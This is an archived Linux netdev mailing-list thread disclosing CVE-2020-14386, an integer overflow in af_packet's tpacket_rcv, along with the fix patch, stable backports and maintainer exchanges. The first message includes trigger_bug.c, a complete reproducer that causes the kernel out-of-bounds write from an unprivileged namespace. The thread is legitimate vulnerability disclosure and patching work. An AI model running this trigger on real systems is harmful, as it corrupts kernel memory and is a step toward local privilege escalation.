netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* Vulnerability report - af_packet.c - CVE-2020-14386
@ 2020-09-03 17:07 Or Cohen
  2020-09-04 13:30 ` [PATCH] net/packet: fix overflow in tpacket_rcv Stefan Nuernberger
  0 siblings, 1 reply; 7+ messages in thread
From: Or Cohen @ 2020-09-03 17:07 UTC (permalink / raw)
  To: netdev

[-- Attachment #1: Type: text/plain, Size: 3319 bytes --]

Hi,
I already reported the issue to security@kernel.org and
linux-distros@vs.openwall.org and CVE-2020-14386 was assigned.

The report is as follows: ( a proposed patch and a reproducer are attached)

I discovered a bug which leads to a memory corruption in
(net/packet/af_packet.c). It can be exploited to gain root privileges
from unprivileged processes.

To create AF_PACKET sockets you need CAP_NET_RAW in your network
namespace, which can be acquired by unprivileged processes on systems
where unprivileged namespaces are enabled (Ubuntu, Fedora, etc).

I discovered the vulnerability while auditing the 5.7 kernel sources.

The bug occurs in tpacket_rcv function, when calculating the netoff
variable (unsigned short), po->tp_reserve (unsigned int) is added to
it which can overflow netoff so it gets a small value.

macoff is calculated using: "macoff = netoff - maclen", we can control
macoff so it will receive a small value (specifically, smaller then
sizeof(struct virtio_net_hdr)).

Later, when running the following code:
...
if (do_vnet &&
   virtio_net_hdr_from_skb(skb, h.raw + macoff -
sizeof(struct virtio_net_hdr),
...

If do_vnet is set, and because macoff < sizeof(struct virtio_net_hdr)
a pointer to a memory area before the h.raw buffer will be sent to
virtio_net_hdr_from_skb. This can lead to an out-of-bounds write of
1-10 bytes, controlled by the user.

The h.raw buffer is allocated in alloc_pg_vec and it's size is
controlled by the user.

The stack trace is as follows at the time of the crash: ( linux v5.7 )

#0  memset_erms () at arch/x86/lib/memset_64.S:66
#1  0xffffffff831934a6 in virtio_net_hdr_from_skb
(little_endian=<optimized out>, has_data_valid=<optimized out>,
    vlan_hlen=<optimized out>, hdr=<optimized out>, skb=<optimized
out>) at ./include/linux/virtio_net.h:134
#2  tpacket_rcv (skb=0xffff8881ef539940, dev=0xffff8881de534000,
pt=<optimized out>, orig_dev=<optimized out>)
        at net/packet/af_packet.c:2287
#3  0xffffffff82c52e47 in dev_queue_xmit_nit (skb=0xffff8881ef5391c0,
dev=<optimized out>) at net/core/dev.c:2276
#4  0xffffffff82c5e3d4 in xmit_one (more=<optimized out>,
txq=<optimized out>, dev=<optimized out>,
            skb=<optimized out>) at net/core/dev.c:3473
#5  dev_hard_start_xmit (first=0xffffc900001c0ff6, dev=0x0
<fixed_percpu_data>, txq=0xa <fixed_percpu_data+10>,
    ret=<optimized out>) at net/core/dev.c:3493
#6  0xffffffff82c5fc7e in __dev_queue_xmit (skb=0xffff8881ef5391c0,
sb_dev=<optimized out>) at net/core/dev.c:4052
#7  0xffffffff831982d3 in packet_snd (len=65536, msg=<optimized out>,
sock=<optimized out>) 0001-net-packet-fix-overflow-in-tpacket_rcv
at net/packet/af_packet.c:2979
#8  packet_sendmsg (sock=<optimized out>, msg=<optimized out>,
len=65536) at net/packet/af_packet.c:3004
#9  0xffffffff82be09ed in sock_sendmsg_nosec (msg=<optimized out>,
sock=<optimized out>) at net/socket.c:652
#10 sock_sendmsg (sock=0xffff8881e8ff56c0, msg=0xffff8881de56fd88) at
net/socket.c:672

Files attached:
A proposed patch - 0001-net-packet-fix-overflow-in-tpacket_rcv.patch
A reproducer for the bug - trigger_bug.c

We are currently working on an exploit for getting root privileges
from unprivileged context using this bug.

If there is a problem with the patch please let me know and I will fix it.

Or Cohen
Palo Alto Networks

[-- Attachment #2: 0001-net-packet-fix-overflow-in-tpacket_rcv.patch --]
[-- Type: application/octet-stream, Size: 1674 bytes --]

From 3ad04c9555b93ac6a374b0921ad41849caf22067 Mon Sep 17 00:00:00 2001
From: Or Cohen <orcohen@paloaltonetworks.com>
Date: Sun, 30 Aug 2020 20:04:51 +0300
Subject: [PATCH] net/packet: fix overflow in tpacket_rcv

Using tp_reserve to calculate netoff can overflow as
tp_reserve is unsigned int and netoff is unsigned short.

This may lead to macoff receving a smaller value then
sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
is set, an out-of-bounds write will occur when
calling virtio_net_hdr_from_skb.

The bug is fixed by converting netoff to unsigned int
and checking if it exceeds USHRT_MAX.

Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
---
 net/packet/af_packet.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 29bd405adbbd..d37435906859 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2168,7 +2168,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 	int skb_len = skb->len;
 	unsigned int snaplen, res;
 	unsigned long status = TP_STATUS_USER;
-	unsigned short macoff, netoff, hdrlen;
+	unsigned short macoff, hdrlen;
+	unsigned int netoff;
 	struct sk_buff *copy_skb = NULL;
 	struct timespec64 ts;
 	__u32 ts_status;
@@ -2237,6 +2238,10 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 		}
 		macoff = netoff - maclen;
 	}
+	if (netoff > USHRT_MAX) {
+		atomic_inc(&po->tp_drops);
+		goto drop_n_restore;
+	}
 	if (po->tp_version <= TPACKET_V2) {
 		if (macoff + snaplen > po->rx_ring.frame_size) {
 			if (po->copy_thresh &&
-- 
2.17.1


[-- Attachment #3: trigger_bug.c --]
[-- Type: application/octet-stream, Size: 3809 bytes --]


#define _GNU_SOURCE

#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>


bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}


void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}

}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}



int main()
{

	setup_sandbox();

	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
	if (s < 0)
	{
		perror("socket\n");
		return 1;
	}

	int v = TPACKET_V2;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VERSION)\n");
		return 1;
	}

	v = 1;
	rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VNET_HDR)\n");
		return 1;
	}

	v = 0xffff - 20 - 0x30 -7;
	rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_RESERVE)\n");
		return 1;
	}

	struct tpacket_req req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = 0x800000;
	req.tp_frame_size = 0x11000;
	req.tp_block_nr = 1;
	req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}


	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	uint32_t size = 0x80000/8;
	char* buf = malloc(size);
	if(!buf)
	{
		perror("malloc\n");
		exit(EXIT_FAILURE);
	}
	memset(buf,0xce,size);
	loopback_send(buf,size);

	return 0;
}



^ permalink raw reply related	[flat|nested] 7+ messages in thread

* [PATCH] net/packet: fix overflow in tpacket_rcv
  2020-09-03 17:07 Vulnerability report - af_packet.c - CVE-2020-14386 Or Cohen
@ 2020-09-04 13:30 ` Stefan Nuernberger
  2020-09-04 14:16   ` Greg Kroah-Hartman
  0 siblings, 1 reply; 7+ messages in thread
From: Stefan Nuernberger @ 2020-09-04 13:30 UTC (permalink / raw)
  To: orcohen
  Cc: netdev, Greg Kroah-Hartman, Eric Dumazet, Stefan Nuernberger,
	David Woodhouse, Amit Shah, stable

From: Or Cohen <orcohen@paloaltonetworks.com>

Using tp_reserve to calculate netoff can overflow as
tp_reserve is unsigned int and netoff is unsigned short.

This may lead to macoff receving a smaller value then
sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
is set, an out-of-bounds write will occur when
calling virtio_net_hdr_from_skb.

The bug is fixed by converting netoff to unsigned int
and checking if it exceeds USHRT_MAX.

This addresses CVE-2020-14386

Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
Signed-off-by: Eric Dumazet <edumazet@google.com>

[ snu: backported to 4.9, changed tp_drops counting/locking ]

Signed-off-by: Stefan Nuernberger <snu@amazon.com>
CC: David Woodhouse <dwmw@amazon.co.uk>
CC: Amit Shah <aams@amazon.com>
CC: stable@vger.kernel.org
---
 net/packet/af_packet.c | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index fb643945e424..b5b79f501541 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2161,7 +2161,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 	int skb_len = skb->len;
 	unsigned int snaplen, res;
 	unsigned long status = TP_STATUS_USER;
-	unsigned short macoff, netoff, hdrlen;
+	unsigned short macoff, hdrlen;
+	unsigned int netoff;
 	struct sk_buff *copy_skb = NULL;
 	struct timespec ts;
 	__u32 ts_status;
@@ -2223,6 +2224,12 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 		}
 		macoff = netoff - maclen;
 	}
+	if (netoff > USHRT_MAX) {
+		spin_lock(&sk->sk_receive_queue.lock);
+		po->stats.stats1.tp_drops++;
+		spin_unlock(&sk->sk_receive_queue.lock);
+		goto drop_n_restore;
+	}
 	if (po->tp_version <= TPACKET_V2) {
 		if (macoff + snaplen > po->rx_ring.frame_size) {
 			if (po->copy_thresh &&
-- 
2.28.0




Amazon Development Center Germany GmbH
Krausenstr. 38
10117 Berlin
Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss
Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B
Sitz: Berlin
Ust-ID: DE 289 237 879




^ permalink raw reply related	[flat|nested] 7+ messages in thread

* Re: [PATCH] net/packet: fix overflow in tpacket_rcv
  2020-09-04 13:30 ` [PATCH] net/packet: fix overflow in tpacket_rcv Stefan Nuernberger
@ 2020-09-04 14:16   ` Greg Kroah-Hartman
  2020-09-04 14:22     ` Nuernberger, Stefan
  0 siblings, 1 reply; 7+ messages in thread
From: Greg Kroah-Hartman @ 2020-09-04 14:16 UTC (permalink / raw)
  To: Stefan Nuernberger
  Cc: orcohen, netdev, Eric Dumazet, David Woodhouse, Amit Shah, stable

On Fri, Sep 04, 2020 at 03:30:52PM +0200, Stefan Nuernberger wrote:
> From: Or Cohen <orcohen@paloaltonetworks.com>
> 
> Using tp_reserve to calculate netoff can overflow as
> tp_reserve is unsigned int and netoff is unsigned short.
> 
> This may lead to macoff receving a smaller value then
> sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
> is set, an out-of-bounds write will occur when
> calling virtio_net_hdr_from_skb.
> 
> The bug is fixed by converting netoff to unsigned int
> and checking if it exceeds USHRT_MAX.
> 
> This addresses CVE-2020-14386
> 
> Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
> Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
> Signed-off-by: Eric Dumazet <edumazet@google.com>
> 
> [ snu: backported to 4.9, changed tp_drops counting/locking ]
> 
> Signed-off-by: Stefan Nuernberger <snu@amazon.com>
> CC: David Woodhouse <dwmw@amazon.co.uk>
> CC: Amit Shah <aams@amazon.com>
> CC: stable@vger.kernel.org
> ---
>  net/packet/af_packet.c | 9 ++++++++-
>  1 file changed, 8 insertions(+), 1 deletion(-)

What is the git commit id of this patch in Linus's tree?

thanks,

greg k-h

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH] net/packet: fix overflow in tpacket_rcv
  2020-09-04 14:16   ` Greg Kroah-Hartman
@ 2020-09-04 14:22     ` Nuernberger, Stefan
  2020-09-04 14:36       ` gregkh
  0 siblings, 1 reply; 7+ messages in thread
From: Nuernberger, Stefan @ 2020-09-04 14:22 UTC (permalink / raw)
  To: Nuernberger, Stefan, gregkh
  Cc: netdev, orcohen, Woodhouse, David, stable, edumazet, Shah, Amit

On Fri, 2020-09-04 at 16:16 +0200, Greg Kroah-Hartman wrote:
> On Fri, Sep 04, 2020 at 03:30:52PM +0200, Stefan Nuernberger wrote:
> > 
> > From: Or Cohen <orcohen@paloaltonetworks.com>
> > 
> > Using tp_reserve to calculate netoff can overflow as
> > tp_reserve is unsigned int and netoff is unsigned short.
> > 
> > This may lead to macoff receving a smaller value then
> > sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
> > is set, an out-of-bounds write will occur when
> > calling virtio_net_hdr_from_skb.
> > 
> > The bug is fixed by converting netoff to unsigned int
> > and checking if it exceeds USHRT_MAX.
> > 
> > This addresses CVE-2020-14386
> > 
> > Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
> > Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
> > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > 
> > [ snu: backported to 4.9, changed tp_drops counting/locking ]
> > 
> > Signed-off-by: Stefan Nuernberger <snu@amazon.com>
> > CC: David Woodhouse <dwmw@amazon.co.uk>
> > CC: Amit Shah <aams@amazon.com>
> > CC: stable@vger.kernel.org
> > ---
> >  net/packet/af_packet.c | 9 ++++++++-
> >  1 file changed, 8 insertions(+), 1 deletion(-)
> What is the git commit id of this patch in Linus's tree?
> 

Sorry, this isn't merged on Linus' tree yet. It's a heads up that the
backport isn't straightforward.

Best,
Stefan

> thanks,
> 
> greg k-h



Amazon Development Center Germany GmbH
Krausenstr. 38
10117 Berlin
Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss
Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B
Sitz: Berlin
Ust-ID: DE 289 237 879



^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH] net/packet: fix overflow in tpacket_rcv
  2020-09-04 14:22     ` Nuernberger, Stefan
@ 2020-09-04 14:36       ` gregkh
  2020-09-05  6:54         ` Salvatore Bonaccorso
  0 siblings, 1 reply; 7+ messages in thread
From: gregkh @ 2020-09-04 14:36 UTC (permalink / raw)
  To: Nuernberger, Stefan
  Cc: netdev, orcohen, Woodhouse, David, stable, edumazet, Shah, Amit

On Fri, Sep 04, 2020 at 02:22:46PM +0000, Nuernberger, Stefan wrote:
> On Fri, 2020-09-04 at 16:16 +0200, Greg Kroah-Hartman wrote:
> > On Fri, Sep 04, 2020 at 03:30:52PM +0200, Stefan Nuernberger wrote:
> > > 
> > > From: Or Cohen <orcohen@paloaltonetworks.com>
> > > 
> > > Using tp_reserve to calculate netoff can overflow as
> > > tp_reserve is unsigned int and netoff is unsigned short.
> > > 
> > > This may lead to macoff receving a smaller value then
> > > sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
> > > is set, an out-of-bounds write will occur when
> > > calling virtio_net_hdr_from_skb.
> > > 
> > > The bug is fixed by converting netoff to unsigned int
> > > and checking if it exceeds USHRT_MAX.
> > > 
> > > This addresses CVE-2020-14386
> > > 
> > > Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
> > > Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
> > > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > > 
> > > [ snu: backported to 4.9, changed tp_drops counting/locking ]
> > > 
> > > Signed-off-by: Stefan Nuernberger <snu@amazon.com>
> > > CC: David Woodhouse <dwmw@amazon.co.uk>
> > > CC: Amit Shah <aams@amazon.com>
> > > CC: stable@vger.kernel.org
> > > ---
> > >  net/packet/af_packet.c | 9 ++++++++-
> > >  1 file changed, 8 insertions(+), 1 deletion(-)
> > What is the git commit id of this patch in Linus's tree?
> > 
> 
> Sorry, this isn't merged on Linus' tree yet. It's a heads up that the
> backport isn't straightforward.

Ok, please be more specific about this when sending patches out...

greg k-h

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH] net/packet: fix overflow in tpacket_rcv
  2020-09-04 14:36       ` gregkh
@ 2020-09-05  6:54         ` Salvatore Bonaccorso
  2020-09-21 17:02           ` Stefan Nuernberger
  0 siblings, 1 reply; 7+ messages in thread
From: Salvatore Bonaccorso @ 2020-09-05  6:54 UTC (permalink / raw)
  To: gregkh
  Cc: Nuernberger, Stefan, netdev, orcohen, Woodhouse, David, stable,
	edumazet, Shah, Amit

Hi,

On Fri, Sep 04, 2020 at 04:36:48PM +0200, gregkh@linuxfoundation.org wrote:
> On Fri, Sep 04, 2020 at 02:22:46PM +0000, Nuernberger, Stefan wrote:
> > On Fri, 2020-09-04 at 16:16 +0200, Greg Kroah-Hartman wrote:
> > > On Fri, Sep 04, 2020 at 03:30:52PM +0200, Stefan Nuernberger wrote:
> > > > 
> > > > From: Or Cohen <orcohen@paloaltonetworks.com>
> > > > 
> > > > Using tp_reserve to calculate netoff can overflow as
> > > > tp_reserve is unsigned int and netoff is unsigned short.
> > > > 
> > > > This may lead to macoff receving a smaller value then
> > > > sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
> > > > is set, an out-of-bounds write will occur when
> > > > calling virtio_net_hdr_from_skb.
> > > > 
> > > > The bug is fixed by converting netoff to unsigned int
> > > > and checking if it exceeds USHRT_MAX.
> > > > 
> > > > This addresses CVE-2020-14386
> > > > 
> > > > Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
> > > > Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
> > > > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > > > 
> > > > [ snu: backported to 4.9, changed tp_drops counting/locking ]
> > > > 
> > > > Signed-off-by: Stefan Nuernberger <snu@amazon.com>
> > > > CC: David Woodhouse <dwmw@amazon.co.uk>
> > > > CC: Amit Shah <aams@amazon.com>
> > > > CC: stable@vger.kernel.org
> > > > ---
> > > >  net/packet/af_packet.c | 9 ++++++++-
> > > >  1 file changed, 8 insertions(+), 1 deletion(-)
> > > What is the git commit id of this patch in Linus's tree?
> > > 
> > 
> > Sorry, this isn't merged on Linus' tree yet. It's a heads up that the
> > backport isn't straightforward.
> 
> Ok, please be more specific about this when sending patches out...

The commit is in Linux' tree now as
acf69c946233259ab4d64f8869d4037a198c7f06 .

Older stable series, which do not have 8e8e2951e309 ("net/packet: make
tp_drops atomic") will though need a backport as per above AFICS.

Regards,
Salvatore

^ permalink raw reply	[flat|nested] 7+ messages in thread

* [PATCH] net/packet: fix overflow in tpacket_rcv
  2020-09-05  6:54         ` Salvatore Bonaccorso
@ 2020-09-21 17:02           ` Stefan Nuernberger
  0 siblings, 0 replies; 7+ messages in thread
From: Stefan Nuernberger @ 2020-09-21 17:02 UTC (permalink / raw)
  To: carnil
  Cc: aams, dwmw, edumazet, gregkh, netdev, orcohen, snu, stable,
	Stefan Nuernberger, Amit Shah

From: Or Cohen <orcohen@paloaltonetworks.com>

commit acf69c946233259ab4d64f8869d4037a198c7f06 upstream.

Using tp_reserve to calculate netoff can overflow as
tp_reserve is unsigned int and netoff is unsigned short.

This may lead to macoff receving a smaller value then
sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
is set, an out-of-bounds write will occur when
calling virtio_net_hdr_from_skb.

The bug is fixed by converting netoff to unsigned int
and checking if it exceeds USHRT_MAX.

This addresses CVE-2020-14386

Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
Signed-off-by: Eric Dumazet <edumazet@google.com>

[ snu: backported to pre-5.3, changed tp_drops counting/locking ]

Signed-off-by: Stefan Nuernberger <snu@amazon.com>
CC: David Woodhouse <dwmw@amazon.co.uk>
CC: Amit Shah <aams@amazon.com>
CC: stable@vger.kernel.org
---
 net/packet/af_packet.c | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index fb643945e424..b5b79f501541 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2161,7 +2161,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 	int skb_len = skb->len;
 	unsigned int snaplen, res;
 	unsigned long status = TP_STATUS_USER;
-	unsigned short macoff, netoff, hdrlen;
+	unsigned short macoff, hdrlen;
+	unsigned int netoff;
 	struct sk_buff *copy_skb = NULL;
 	struct timespec ts;
 	__u32 ts_status;
@@ -2223,6 +2224,12 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 		}
 		macoff = netoff - maclen;
 	}
+	if (netoff > USHRT_MAX) {
+		spin_lock(&sk->sk_receive_queue.lock);
+		po->stats.stats1.tp_drops++;
+		spin_unlock(&sk->sk_receive_queue.lock);
+		goto drop_n_restore;
+	}
 	if (po->tp_version <= TPACKET_V2) {
 		if (macoff + snaplen > po->rx_ring.frame_size) {
 			if (po->copy_thresh &&
-- 
2.28.0




Amazon Development Center Germany GmbH
Krausenstr. 38
10117 Berlin
Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss
Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B
Sitz: Berlin
Ust-ID: DE 289 237 879




^ permalink raw reply related	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2020-09-21 17:05 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2020-09-03 17:07 Vulnerability report - af_packet.c - CVE-2020-14386 Or Cohen
2020-09-04 13:30 ` [PATCH] net/packet: fix overflow in tpacket_rcv Stefan Nuernberger
2020-09-04 14:16   ` Greg Kroah-Hartman
2020-09-04 14:22     ` Nuernberger, Stefan
2020-09-04 14:36       ` gregkh
2020-09-05  6:54         ` Salvatore Bonaccorso
2020-09-21 17:02           ` Stefan Nuernberger

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).